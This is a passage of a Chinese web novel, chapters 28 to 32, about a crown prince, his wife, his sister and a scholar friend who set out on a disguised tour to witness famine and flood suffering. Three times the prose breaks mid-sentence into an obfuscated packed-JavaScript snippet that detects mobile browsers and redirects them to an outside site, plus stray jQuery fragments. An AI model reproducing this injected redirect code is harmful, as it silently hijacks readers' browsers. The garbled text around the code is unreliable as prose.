本是为了让蔺朝暮不那么紧绷着,但现在靖王一提条件,沈悠然就来了兴趣。 “那要怎么才能拿?”沈悠然反问。 沈嘉正笑了笑,他本就年纪不大,整日里又没什么烦心事,不用批奏折,也不用管今日哪没有粮哪又不下雨,笑起来的时候看起来不像是沈悠然和沈煦的叔叔,倒像是兄长。 “听闻本王不在宣阳城中的时候,开了个新的酒楼,专供尹州吃食,皎皎不若带十四叔去尝尝?” 沈悠然忍不住举起大拇指致敬,“十四叔不愧是十四叔,这才回来第二日,连宣阳城开了什么酒楼铺子都一清二楚,皎皎都不曾听说过呢。” 沈嘉正敲敲她的脑袋,将她的调侃全盘接收。 这等又能出宫玩又能拿银票的好事,沈悠然应得比谁都快。 只是沈嘉正从前没少带着孩子们做荒唐事,真让沈悠然跟着他出宫,闯出什么祸来都不奇怪。 但盛兴帝不好拒绝靖王的请求,只道是让沈煦跟着,免得这一大一小玩得忘了自己的身份。 赵皇后闻言,让沈煦带上蔺朝暮,她怕沈煦管不住靖王,想着有个侄媳妇在场,靖王或许会顾忌些。 沈煦早有满腹的问题想要问十四叔,想问锦州的山、锦州的水,便提议也带上严晟。 毕竟严晟和他一样,心系民生。 一行人浩浩荡荡的出发,席间多是沈煦和严晟问,沈嘉正答,沈悠然一边听一边吃,不亦乐乎。 本是为了品鉴酒楼里的尹州菜是否正宗,谁料沈嘉正聊得开心,叫了两壶酒。 做尹州菜的酒楼,自然也是供的尹州酒,后劲十足的尹州酒。 一个本就喜酒,另一个新婚正是高兴的时候,断然不会拒绝。 明明是隔了辈的叔侄,到了最后恨不得勾肩搭背地互道兄弟。 严晟不喜饮酒,瞧着沈嘉正和沈煦的架势,担心沈悠然和蔺朝暮应付不了两个醉鬼,一直忙活着将两个人送上了马车。 一个回靖王府,一个回东宫。 到底还是没忘记使命,沈煦醉倒之前,还特意叮嘱严晟将妹妹送回宫中。 沈悠然瞥见严晟目光不自然不敢同自己对视的样子,没忍住咯咯笑了。 “竟是不知。” “原来严公子的脸皮……这般薄啊?” 严晟指尖一颤,一时之间竟也不知道他是想听沈悠然提此事,还是希望她只当做是个玩笑,再也不提。 29. 第 29 章 盛兴十九年四月十五,科举殿试结束。 比起状元和榜眼是谁,被盛兴帝钦点为探花郎的严晟,反倒成了名气最高的一位。 天子新宠、太子伴读、年轻英俊、且无婚约。 不少人家心里都蠢蠢欲动,想让严晟当自家的乘龙快婿。 于是,往日里只有严太傅和严晟二人居住冷清得就像是荒野客栈的严府,近日里倒是多了许多前来串门的亲朋好友。 严晟觉得,那些人打量的目光,像是在看猪肉铺上的猪肉。 他有些招架不住,便日日往东宫跑。 沈煦早就跟负责守卫宫门的侍卫的人知会过,凡是严晟到访,不必通传。 但到底是进出宫内,未免惹来麻烦,严晟每次都让人登了记。 东宫在皇城内的最外一圈,严晟只是有进出东宫的特令,若想再往里走,也并非是随心所欲。 宫门口的小内侍远远地瞧见了严晟的身影。 他是自太子大婚之后被调过来的,进来这些日子,这位严公子日日都来,他都已经见怪不怪了。 “严公子来了,殿下现下正在书房,可要小的给您引路?” 东宫的路严晟已了然于心,但还是点点头,由这小内侍带领着去了后院的书房。 宫中规矩多,谨慎些总是好的。 因为已然成了家,盛兴帝便放了权,平日里让沈煦帮着批阅奏折。 严晟到的时候,沈煦正埋首于案前,神色一脸的不可置信。 见到好友来,连忙递上一沓折子。 “阿晟,你看,如今这个天气,竟还有地界闹寒灾!别说庄稼了,就连活生生的人,都有被冻死的!” 严晟低头看了眼折子,是漠州递上来的折子。 漠州在大声的最北边,听闻是气候严寒之地,真正的地广人稀。 但除了驻边的将士们,还有世世代代生活在漠州的百姓们,即便生活艰难,也不愿离开故土。 就是每逢冬日,总会递来折子,然后朝廷拨银两救灾。 原以为那只是寒冬才会有的天灾,竟没曾想,这年都已经过了许久,还会这般。 折子是才递到宫里的,算算路上的时辰,怕是见着寒气未去,当地知府未雨绸缪。 沈煦叹了口气,“见到折子的时候,我还曾想过,会不会是下头的人仗着离得远胡乱编造,为了骗取朝廷的援助。” “但父皇同我说,从前也有过这样的情况。曾在漠州当过知府的官员说过,若是前一年夏日多降水,冬季就会特别长。” 沈煦单手抚着书案上的折子,眉头微蹙着。 “阿晟,你说,我只是这般待在宣阳城中,真的能当好这个储君吗?” 严晟坐在书案前的椅子上,在委婉讨好和忠君直言之间,选择了后者。 “不能。”他答道。 “殿下,思安先生的话,你可曾记得?” 大婚后没几日,沈煦在宫外的茶室面见了思安先生,严晟随行。 也不知道是他早就猜到过会有这么一日,还是说他一直在等这么一日,甫一落座,便从怀里掏出了一个册子。 上面记载了他去过的地方,绘有悬崖峭壁,河流走向。 还未等沈煦开口,思安先生便提了个……荒唐中带着合理的请求。 “不知太子殿下,可否予老夫些银钱,让老夫将这些年游历记录的图文誊抄印刷,供天下人尽情传阅?” 好……直白的请求。 到底不是什么坏事,况且印些书籍绘本,又不是什么大的开销,沈煦就应下了。 思安先生见状,笑得一双眼睛都眯了起来,连声赞叹太子殿下心肠善,说是要替百姓们谢谢他。 那模样,活脱脱一副捡了小便宜的市侩商人模样。 让沈煦和严晟都觉得诧异。 思安先生坐在二人对面,看他们一脸不知从何开口的模样,抚着胡子笑了。 “殿下可是想问,老夫受过牢狱之灾,此生仕途无望,竟不是一副郁郁不得志的模样,很是好奇对吗?” 被戳中了心事,但瞧着对方一脸无所谓的模样,沈煦倒也是大方承认。 茶室里一股清香飘荡着,蜿蜒盘旋的水气模糊了思安先生的脸,也让他的记忆带着一股难以言喻的潮湿气息。 “一开始,确实是恨的,恨命运不公,恨皇权……”他觑了沈煦一眼,到底是顾忌着沈煦的身份,转了个话头,“那会儿,我以为我此生都会彻底被困在牢狱之中。” “瘦得双眼冒绿光的老鼠、受了潮厚重得似乎要将人压死的被褥、整日都充斥在耳边的哭喊声,日复一日地折磨着老夫。” “出狱之后,家中仅剩老母亲在世,她瞧着老夫整日郁郁寡欢房门也不出,便央求着隔壁家的货郎带着老夫出门走一趟,多个人也是多一分力气。” “而后的日子,老夫见识过为了一碗清得瞧不见米的粥水背着婴孩跪在地上学犬吠的母亲,也见识过因为家中没有壮力砍柴而只能捡些枯木挤在灶台前取暖却不小心被火燎了半张脸的爷孙,还有外出打猎之时妻子被富绅家掳走折辱致死提着柴刀报仇却被家丁乱棍打死的猎户。” “比起他们,老夫能够全须全尾地走出牢狱,真的是太幸运了……” 沈煦捏着茶杯的手背青筋尽显。 那一下午,他们三人聊了很多,聊山、聊水、聊百姓。 临走之时,或许是这一下午的相处让思安先生意识到眼前这位年轻的储君不是那位听不得半句质问的先帝,叫停了他二人。 “殿下。” 沈煦回过头,看见思安先生依旧坐在茶室的榻上,脸上的沟壑像是岁月留下的痕迹,已然花白的胡须微微颤抖着。 这个精瘦的小老头看向逆光站在门外的沈煦和严晟,目光渐渐泛起了湿意。 “殿下。”他喃喃道,“苦难,是看见的,不是听见的。” 因为要打起精神批阅奏折,沈煦便让内侍沏了一杯浓茶,和那日在茶室里的茶香味不同,微微苦涩的气息在书房中弥漫开来。 “苦难是看见的,不是听见的。”沈煦重复着这句话,嘴角微沉若有所思。 “阿晟,”他突然开口,“前些日子,父皇问我想去哪里当值。” “我那会儿就隐隐有个念头,这几日看多了各地送上来的折子,这种想法更甚。” “我觉得我不能,也不该只窝在宣阳城当一个只能看见脚下的太子,我想出去走走,去看看我要该如何才能守护,又如何才能守护好大盛的子民。” 内侍刚端上来的茶盏还冒着热气,严晟却不觉烫手,指尖抚着茶盏边缘,因为太过用力,指尖都微微泛着白。 而后,他轻笑出了声,带着一种久违的孩子气。 沈煦上一次看见这种笑,还是幼时两人比赛谁先完成夫子布置的课业,结果被严晟抢了先。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16765595|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “殿下,殿试结束之后,圣上将我单独留了下来。” “他也曾问我,想去什么地方当值。” 沈煦心中有不好的预感。 严晟的嘴角勾着一丝弧度,“我同圣上说,想去地方转运使司。” 转运使,主管运输事务的官职,须时常前往各地探查实情,地方转运使官职不大,但总是在外奔波,只每年年末才能回宣阳城述职。 对于探花来说,当一个转运使,有些屈才。 沈煦知道,他这是跟自己想到一块儿去了。 他有些欣慰,又觉得生气,连忙起身照着他的肩头锤了两拳。 “好啊,你小子,你这是想要弃我而去?” “若是我今日不曾说过这些话,你就打算瞒着我一直等到上路?” 严晟没躲,佯装柔弱,捂着肩头咳嗽两声。 “你就装吧你,”沈煦啐了他一口,“我是不会放过你的。” “这转运使的职务,你别想当了。” 看似气急败坏,但严晟知道,沈煦肯定还有下一句话。 “过两日,我就进宫同父皇严明,到时候我做巡查使,你就做我的副使,我们……去看看宣阳城外的世界。” 严晟看了眼属于沈煦的位置。 从前那椅子上光秃秃的,现下摆着一个绣着兰草的椅垫,椅垫上没有陈旧的褶皱,看起来应该是才做好的。 书房里和从前也不一样了,严晟还瞧见了摆在角落的一盆薄荷。 静心凝神,还能驱散虫蚁。 或许是盛兴帝从前出身卑微,在被接到庄太后身边之前,就只是一个死了亲娘的无人在意的皇子,所以他从不认为沈煦出生尊贵就该享福,反倒是偶尔让沈煦照着普通百姓那般活着,比如耕田,又比如去宫外求学。 是以沈煦并不是养尊处优的人,从前也并不太在意享受,在生活上反倒是大大咧咧的。 这些都是谁的手笔可想而知。 “殿下新婚,可舍得太子妃?”严晟问到。 提及新婚妻子,沈煦还是不由得会觉得脸热,方才质问严晟时那副咄咄逼人的样子,嚅嗫着声音都低了不少。 “朝暮她,当是会同意的吧?” “我、我想过了,若是同行,到时候我和朝暮就扮做……不对,我和朝暮是一对夫妻,我呢,就假扮成富商家的儿子,成家之后准备立业,带着家中父亲准备的黄金白银四处游历,准备寻些价格合适的商品回去开个杂货铺子。 “而朝暮,自然就是我将将新婚的夫人,同我一道上路。” 他觑了严晟一眼,像是怕好友嘲笑,连忙找补,“我、我这是想着,隐藏身份便于行事,而若是能有朝暮一个女子在,说不定能让人放松警惕。” “若是她不愿,那便让她时时回宫,总归有母后和昭懿在,不会让她太过寂寞。” “就是这样,难免让她委屈了……”毕竟二人新婚不过几日。 为免再说下去显得太执着于儿女情长了,他清了清嗓子,“至于阿晟你,就是我的兄弟,此番同我一道出门长长见识。” 他越想越觉得可靠,恨不得立马进宫面见盛兴帝。 严晟一思索,想来这个安排也没有坏处,也隐隐有些激动,也陷入了自己的沉思。 隐约之中,严晟觉得自己似乎听见了沈煦的嘟囔。 “可不能让皎皎知道了,不然肯定又要不依不饶了。” 30. 第 30 章 翌日下朝之后,沈煦去勤政殿拜见了盛兴帝。 甫一进殿,他便深吸一口气,直接跪在勤政殿前。 他的双膝砸向地面,发出一阵沉闷的撞击声,带着让人难以忽视的坚定,直抵人心深处。 勤政殿内放有各地呈上来的折子,也有机密文件,故修得隐秘,平日里也没有太多的光线照进来,只能燃着许多烛火。 但竟无一能够同沈煦双眼里的火焰比拟。 虽是跪姿,但沈煦脊背挺直,仰视着盛兴帝的时候,目光不可避免的落在了勤政殿的最高处。直直地盯着盛兴帝背后的牌匾。 那里悬挂着一块牌匾,已经是不知道什么时候传承下来的,历代帝王即位之时,都会将这牌匾重新修缮、描漆。 上面写着四个大字——“盛兴于民。” 大盛,兴于民。 盛兴,于民。 “父皇,儿臣想了几日,总算是想明白了。请求父皇允儿臣巡使一职!” “一来,儿臣想去看看在宣阳城外的大盛是什么样的;二来……” 沈煦身子前倾,磕了一个头。 看起来像是俯首,但却尽是坚定。 “二来,儿臣也盼这一路来能够,彻查为非作歹的贪官恶绅,还大盛百姓一个盛世。” 听到沈煦的请求,盛兴帝抚着胡须,不置可否。 他首先是欣慰,觉得在沈煦身上看见了二十年前的自己。 但他是盛兴帝,不是二十年前的自己了。 太子身为储君,一言一行关乎国家大事,当谨慎行事。 先帝之时,就曾有过党派之争,为了扶持自己所选之人上位,私下刺杀其他皇子。 那会儿还未即位的盛兴帝作为庄太后扶持的即位之人,被其余的皇子视为眼中钉。 先帝病危前夕,他曾在秋猎之事遭到埋伏。 若不是有沈嘉正以身犯险替他挡下一击,现在的皇帝是谁也说不准。 是以盛兴帝才会对庄太后和沈嘉正处处纵容。 于他而言,一个是养育之情,一个是救命之恩。 但也是因为自己有此一遭,所以他才担心,万一沈煦出门在外,有些人动了不该动的心思。 如若储君除了意外,这朝堂少不得又要激起一番动荡。 除了沈煦的安危之外,还有一件事也让他心事重重。 大盛历史悠久,祖上有“神灵庇佑”的传闻,听闻不知多少年前曾出现过一次几近灭世的天灾,最后关头是神明降临拯救万名于水火,才保下了大盛。 自那之后,不少大盛人都以神明之子自居,似乎觉得无论自己做出什么事来,都会有神明来兜底。 那些生来就享有权利的人,更加这么觉得。 渐渐地,不少富家子弟们终日纵情享乐,什么家国什么抱负,似乎都是书本上看不见摸不着的字眼。 此事一直是盛兴帝的一块心病,他想要出手整顿,却碍于各方关系错杂迟迟下不了手。 沈煦提出巡查各地,若是查不出什么事倒好。 可若是……动了谁的利益…… 内有一向不满自己立沈煦为太子而无视沈照的庄太后,外有未知的危险…… 沈煦见盛兴帝迟迟没有回应,也是猜到了他的顾虑。 心中难免一急,“父皇!儿臣既然是大盛的太子,理当一心为大盛,切不可瞻前顾后,为还未发生的事担忧。” “父皇放心,儿臣在外一定会多多顾及自身安危不会轻易犯险。倘若……倘若真的有什么三长两短,儿臣想着,反正还有皇弟……” “胡闹!”盛兴帝紧皱着眉头打断了他的话,“太子只会有你一个!” 突出起来的呵斥让沈煦为之一振,他不了解是为何,在心中猜测,或许是因为自己说了不合时宜的话吧。 长辈们讲究避谶,总是不愿意听到这样不吉利的话。 殿中陷入了片刻的沉默。 但也是这宁静的气氛,让盛兴帝静下心来。 沈煦的话,也给他提了一个醒——沈煦必须要成为一个好的皇帝。 那是他的孩子,也是大盛的储君。 “朝暮那孩子,恐未曾出过远门,你在外可得多多照顾好她。” “记得同你母后说一声,说是你母后不同意,那父皇也劝说不了。” 沈煦闻言,从震惊中缓了过来,意识到父皇是同意了他的请求。 他脸上逐渐露出笑来,“多谢父皇,父皇你是这世上最明智的父皇!” 盛兴帝唇角一抖,而后又板着脸,“我看你也是活得倒转了一般,跟着你妹妹似得胡闹。” 这样故作生气的模样可吓不倒沈煦,他已经从沈悠然那里学明白了,只要盛兴帝没有皱眉,那就是没有真的生气。 “父皇,那儿臣就告退了。”沈煦躬着身子行了个礼,“去栖梧宫同母后说一声。” 盛兴帝看见他逐渐远去的身影,眼角有些潮湿。 孩子们,终究还是长大了,该出去闯闯了。 还好、还好,昭懿还陪在身边。 * “沈煦!” “你们要出去玩,怎么不带我!怎么不带我!怎么不带我!” “你还是人吗?你最好给我一个合理的解释,不然你别想以后晚上能够闭着眼睡觉。” 沈煦也没想过沈悠然会在栖梧宫里,而且还躲在帷幔之后。 早知道,他就不先同母后讲了。 “皎皎,你听哥哥说……” 沈悠然双手环抱于胸,静静地等着他解释。 被这般盯着竟觉得有些头皮发麻,沈煦也就没有去绞尽脑汁想借口,直言一路上艰辛,她跟着去也是吃苦。 沈悠然听得只觉一股火气,“原来在你心目中,我只能过那种骄奢淫逸生活!你根本就不懂我!” 她脸颊泛红,胸腔上下起伏着,像真的是被气得厉害。 沈煦心有不忍,但还是不想让沈悠然跟着。 “昭懿,我们这次出现,也不单单是为了玩。” “哥哥听说,在远离宣阳城的地方,有天灾,还有人祸。” 还有隐藏在暗处的危险。 沈煦不愿让沈悠然犯险。 “那嫂嫂呢?哥哥就舍得嫂嫂吃苦,就舍得嫂嫂……”遭祸吗? 剩下的话沈悠然没说出口,嫂嫂那么好,她也不愿拿这种话来说。 这番质问,让沈煦的愧疚再度涌上心头。 昨日他也同蔺朝暮商议过了,也说了若是她不愿,就送她回栖梧宫或者是昭懿的宫中住。 但蔺朝暮摇了摇头,表示沈煦有这番巡查的打算,才证明她未曾嫁错人。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16768871|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我年少时,母亲曾让我协同管家,她告诉过我一个道理。” “同样是一家三口,同样是每日食四升米,既有可能是富贵人家,也有可能是贫苦百姓。富贵人家一日三餐除米粮之外,菜食、糕点、茶歇皆可饱腹,但贫苦百姓,一升米放两升水,囫囵煮成粥水便要抵一天饥饿。” “殿下只有去亲眼看看,才知道这三口之家,是只吃得下四升米,还是只有四升米吃呢?” “殿下既有自己的抱负,朝暮自当竭力支持。有殿下陪着,又谈何苦。” 沈煦嚅嗫着反驳沈悠然的话,“我自然是舍不得的,我一定会护好朝暮的。” “那哥哥的意思,护不住我吗?”沈悠然气得鼻翼翕动着,“我自己也可以。” 眼见着兄妹俩就要吵起来,赵皇后觉得脑子疼,揉着太阳穴叫停了二人。 “行了,别吵了。” “皎皎,你来告诉母后,你可是想去玩?” 沈悠然也不反驳,“是,但也不全是。” “前些日子,父皇为了那些为祸一方的富绅,急得牙都肿了。” “女儿也想要……替父皇分忧。” 盛兴帝碍于大臣的颜面,不敢对一些人下重手,但她沈悠然可不怕,谁让她是盛兴帝唯一的女儿,做帝姬的,娇纵些也是难免的。 若是在外面受了气,就地惩处了谁,哪怕事后消息传回宣阳城,也为时已晚了。 那些大臣也顶多就是参她肆意妄为,还能怎么办? 比起盛兴帝和沈煦这两个身处高位的人,有些事似乎沈悠然才更好做。 十四叔说了,君子报仇,等不了十年。 再像父皇那般顾及这个颜面担心那个牵连,总有一天要被人骑到头上的。 沈悠然一番话说下来,沈煦和赵皇后都沉默了。 前者是没想过,往日里看起来没心没肺的妹妹,竟一下就猜到了他这次出行的打算。 后者…… “煦儿,你若只是母后的孩子,母后定然是不会同意的。做母亲的,这辈子没有什么大愿望,只求我的家人平安顺遂,一辈子开开心心快快乐乐的。” “但你是大盛的太子,有些事需要你去做,有些事也只能你去做,所以母后支持你的决定。” 沈煦鼻尖泛酸,当即跪在殿前,朝着赵皇后的方向磕了个头。 “母后放心,儿臣定当护好自己,不让母后担忧。” 赵皇后摆摆手,不让沈煦再继续说下去了,怕自己忍不住。 “皎皎,同样的话,母后也说给你听。” “你兄长是太子,又太子的使命,但你既是大盛的帝姬,食百姓供奉,也该为百姓分忧。母后也不愿让你在这高墙之中,成为一个何不食肉糜的帝姬。” “母后——”沈悠然忍不住起了哭腔,如同乳燕一般扑进她怀中。 “还请母后放心,皎皎一定会安安全全归来,到时候还会给母后带很多很多的礼物。” “皎皎每到一个地方,就会给母后写信,定不会让母后得相思病。” 赵皇后抚着沈悠然的发,如同小时候哄睡觉一样的轻声细语。 “母后知道,母后一直都知道,母后的皎皎,是最好的小姑娘。” 她的儿子。 她的女儿。 都已经成长成了很好的孩子。 31. 第 31 章 太子长期不出现,肯定会引得朝堂议论纷纷,于是盛兴帝便在早朝之时,和宰相季时一唱一和地演了一出戏,给沈煦安排了个进寺修行祈求国运的差事。 在众目睽睽之下,沈煦入了万盛寺的大门,但却从后院翻身而出。 如同沈煦之前设想的一样,他是准备继承家业的富商携妻子出门寻访各地。 与他有几分相似的沈悠然自然也就是家中那任性非要跟着一道出门游历的妹妹。 至于严晟的身份…… 沈煦原是想着让严晟当做他的弟弟,但沈悠然非说严晟和她兄妹二人没有半分相似,说出去也没人信。 他挠了挠后脑勺,“若真有人问起来,那也可以同外人说阿晟是父亲收养的孩子。” 想不出更好的理由了,沈悠然索性耍起了无赖,“那我不管,不管,我不想再多一个哥哥。” “哥哥,让严晟给我当护卫吧怎么样?” 沈悠然眨巴着眼睛,神神秘秘地将沈煦拉到一旁,眼眸深处透出几分狡黠,但又很快掩盖住了。 她摆出一脸的高深莫测,刻意压着声音低语,“哥,你想啊,如果严晟是我的护卫,那是不是随时都要跟着我身边,保护我的安危。” “你和嫂嫂现在新婚,肯定是想时时刻刻都黏在一起的,万一严晟那个木鱼脑袋不懂,你妹妹我可是很懂事的,到时候我就会很有眼力见地走开,然后严晟肯定也不会再打扰你们的。” 沈煦原本非常坚定的心被动摇了。 “咳、这……这也不好吧,阿晟好歹也是副巡使,给你做护卫,是不是太屈才了。” 沈悠然看了眼站在马前整理马鞍的严晟,信誓旦旦,“你放心吧哥,严晟那种看起来无欲无求的人,就算是让他当个小厮,他都会没意见的。” 沈煦看了眼好友,想到他的性格,犹豫再三之后点了点头。 毕竟严晟那种人,天塌了都能板着个脸先找棍子把天顶起来。 “要是阿晟不愿意就算了。”沈煦无奈地看了眼自己的亲妹妹,随后就转身去找严晟了。 沈悠然站在马车旁,看着严晟和沈煦交谈了几句,然后转过头看着自己的方向。 她微微踮脚,右手高举着在半空中挥了挥,像是在热情地打招呼。 但严晟很快就挪开了眼,直到看见他对着兄长点了点头,沈悠然露出一副得逞的笑容,提着裙摆上了车。 蔺朝暮正在整理行囊,看见沈悠然笑得灿烂,嗓音轻柔地问她发生了什么。 “严晟给我当护卫呢。”沈悠然得意洋洋。 看她这副模样,蔺朝暮忍不住发问,“皎皎,你不会是喜欢严公子吧?” 本也没想要瞒着,沈悠然坦然点了点头,“是啊,他长得好看。” 因为坐着,蔺朝暮的手恰好落在双腿上,指尖无意识地摸索着挂在腰间的玉石。 “那个……”她踌躇着开了口,声音轻得像是一阵风拂过。 就在沈悠然以为蔺朝暮是嫌这玉不光滑打算自己亲自上手盘的时候,她终于开了口。 “皎皎,因为你哥哥的关系,我也算是同严公子打过交道。” “他人很好,很善良。我听你哥哥说他曾有一段时间过得比较拮据,害得你哥哥以为是父皇给严太傅的束脩不够,又不好直接问他怕落了他的面子,暗地里补贴他却并没有任何的改善,你哥哥又以为他是沾上了赌博的恶习,悄悄地跟踪他。” “结果才发现,严公子是在暗地里资助一座寺庙,听闻那年有个地方闹饥荒,庙里的住持收留了一些外地流民,虽然庵里有香火钱,但日子长了难免坐吃山空,严公子便帮衬了一二。” “然后第二年春日,严公子就曾大胆向陛下进言,提议受灾地方的粮税。” “皎皎……倘若严公子只是单纯心善,便罢了。但他有心进言,是个有抱负的儿郎,想要改变大盛的人,又岂会甘愿当一个不得入仕的驸马?” 沈悠然下巴微抬,表情不太在意,“强扭的瓜甜不甜,也得尝了才知道。” 蔺朝暮朱唇轻启,还想要再说些什么,但沈煦和严晟弯腰掀开了帘子,她只好抿着唇不再继续这个话题。 * 一行四人沿着宣阳城的西北方向走。 马车外的景象逐渐从熙熙攘攘的街道变成了人烟稀少的官道。 这时候沈悠然才算是真正的感受到,自己离宣阳城已经很远了。 “对了,我们先去哪啊?”沈悠然终于想到了这个非常重要的问题。 她哪都想去。 想去见识沙漠、也想去看看大海;想去神秘的大山里找山神,也想去沿官船行驶的方向感受繁华的贸易。 但她出来也不单单是为了玩的。 她眨巴着眼睛看向严晟。 明明这里主事的人应该是沈煦,但她就是正大光明地看向严晟。 看得沈煦牙根有些发痒,“我们去永州。” 永州? 沈悠然微微侧目,总觉得这个地方好像在哪里听过。 看她这副疑惑表情,蔺朝暮好心解惑,“是严公子的家乡。” 原来如此,沈悠然之前让青黛打听过严晟,自然是听过的。 出于谨慎的目的,沈煦不得不提醒众人。 “往后可不能再向从前那般称呼了,我们这次出行,有各自的身份。” “朝暮、阿晟,往后不可再唤我殿下,直呼夫君或少爷便是,我对外的名字叫做……” 沈煦顿了顿,想给自己起一个假名字,但一时间又想不到更好的,便下意识地说出了个名字来,“就叫沈朝好了。” 沈悠然读了两遍这个名字,忍不住发出低声轻笑。 “哦——叫沈朝啊。” 被她一打趣,沈煦和蔺朝暮有一种害羞里又夹杂着习惯的感觉。 偏偏沈悠然还不放过他们,佯装真诚地问,“是昭懿的昭吗?” 沈煦假装没听见,“以后叫阿晟,也不能这样叫严公子了,得像寻常人家叫护卫那样。” 沈悠然立马抢答,“阿晟!那就叫阿晟吧!季清清家的护卫就只有一个名字,然后后来跟着季家姓了。” “以后平日里就叫你阿晟,全名叫沈晟。”话一出口,沈悠然就摇了摇头,“诶,不行,这样听起来感觉好像在叫婶婶。” 怕她在起出什么惊世骇俗的名字,严晟连忙摆摆手,“就叫严晟吧,我的名号不似殿下,倒也不用刻意隐瞒。若是真有人心生疑窦问起来,总归是有那么多同音的字,称作大盛的盛也无妨。。” 他的脑子里又忍不住想起了沈悠然那句脱口而出的“阿晟”,想了想,又继续开口,“至于称呼,叫严护卫便是,我也就叫夫人和小姐了。” 沈煦和蔺朝暮自然对这样的安排满意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16776857|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只有沈悠然在角落撇撇嘴。 “我不管,就叫阿晟,就叫阿晟,阿晟还少一个字呢,我可以省点力气。” 沈煦故意和她对着干,“也不知道这一个字能省下几碗饭。” 却只换来沈悠然一个意味不明的笑,“你说什么啊?沈!朝!” 眼看着兄妹俩就要掐起来,蔺朝暮连忙出来打圆场,“我没记错的话,永州是要走水路吗?” 严晟摇了摇头,“水路不安全。” 被他的话吸引了注意力,沈悠然反问道,“为什么不安全?” “我的母亲是永州人,幼时我曾随母亲回过永州探亲。” “永州处在悬河下游,昭……小姐知道悬河吗?它还有另一个名字,叫永宁河。” 沈悠然当然知道永宁河,它几乎流经了大盛的所有土地。 听闻一开始它还不叫做永宁河,时不时也有水患发生,百姓们为了祈祷才叫做永宁河,期盼河面永远安宁。 “那为什么在永州又叫做悬河?”沈悠然问。 因为好奇,她不知不觉往严晟的方向挪动着,二人近乎是并排而坐。。 “永宁河流至永州地界时,河沙沉积,极容易发生水患。百姓们为了阻挡水流,便在河流两旁用沙土堆积大坝。久而久之,大坝建得比地面高出甚多,远远看过去,永宁河就好似成了一条悬在半空的河流。” 竟会有如此现象,沈悠然觉得惊奇。 她只见过高耸的宫墙,从未感受奔涌的河流。 沈悠然忍不住猜测,“那是否因为夏日雨水多,河水高涨,所以悬河不太安全?” “不过既然是临河为生,总会有驾船技术娴熟的船夫吧,那我们可以多花些银子……” 严晟打断她的话,“小姐,可曾听说过女子死后诞下婴孩?” “呀……”沈悠然不禁惊呼出了声,“人都死了,怎么还能生孩子?” 严晟脑子里回想着那可怖的画面,但怕吓到沈悠然,并未仔细描述。 “人死之后,尸体会变成那些比蚊虫鼠蚁还要小的活物生存繁殖的地方,产生的腐败气息在体内流转,若是死的是位怀孕的妇人,腹中胎儿也会被这些气息挤压着冲出母体。” “我……就曾亲眼见到过这种由死人生出来的死婴。” “其实那次我同母亲在半路上就返家了,只因一路上饿殍遍地,一问才知永州大多地界都遭了水患,别说庄稼了,就连百姓们住的房屋都未曾幸免。” “百姓们被逼得没了法子,远走他乡,但家中的一切都已经被悬河的水冲走,没钱、没粮,灾民太多,附近的州县也不收留,只得一路上奔波乞讨,丢掉性命的大有人在。” “饭都吃不上了,又怎么能有钱买棺材安葬呢,亲人们再怎么悲痛,也只能将逝者留在原地,成为飞鸟走兽的食物。” 沈悠然和蔺朝暮惊得说不出话来。 她无法想象,父皇治理下的大盛,居然还会有这样的事情发生。 “这、这么大的事,怎么从未听说过……” 严晟嗤笑一番,“永州那群官员,不敢让事情闹大,联合起来把事情压了下去。” “对外还是宣称有水患,这样上面的人才会拨款下来,但不会把事情说得太严重,得保住自己的乌纱帽。” “是以……永州的夏日,只有不把命当命的人,才敢渡船。” 32. 第 32 章 原本应该是在约摸还有十里外的州县投宿的,但蔺朝暮和沈悠然都是第一次坐这么久的马车,身体实在是有些受不住。 再加上沈悠然还未曾住过驿站,对其充满了好奇,竭力劝说其他人在驿站住一晚。 她曾看过一本江湖话本,就说主角在一家平平无奇的客栈里遇见了各路英雄意外被卷入追杀之中。随后掉落悬崖的时候习得武林秘籍,在大家都以为他已经死掉的时候带着绝世武功现世成为武林盟主。 以至于沈悠然一直觉得驿站的存在本身就有腥风血雨的意味,仿佛只要踏入驿站的大门,自己就是江湖中人了。 直到她自己住进来,才发觉事实并非是画本子里描写的那样。 说是驿站,其实看起来还没有那些地方富绅的家宅大。 拢共就两座建筑,一座是驿官和伙夫下人们做饭睡觉堆放杂物的地方。 另一座就像是书院里的宿舍,一楼是吃饭用的大厅,稀稀落落地摆着几张四方桌,从两侧的楼梯上去,就是住的地方。 沈悠然站在大厅前,看着头顶的牌匾一角已然倾斜,下意识地往更远的方向退了两步。 严晟拿出一行人的通关文书,开口要了三间房。 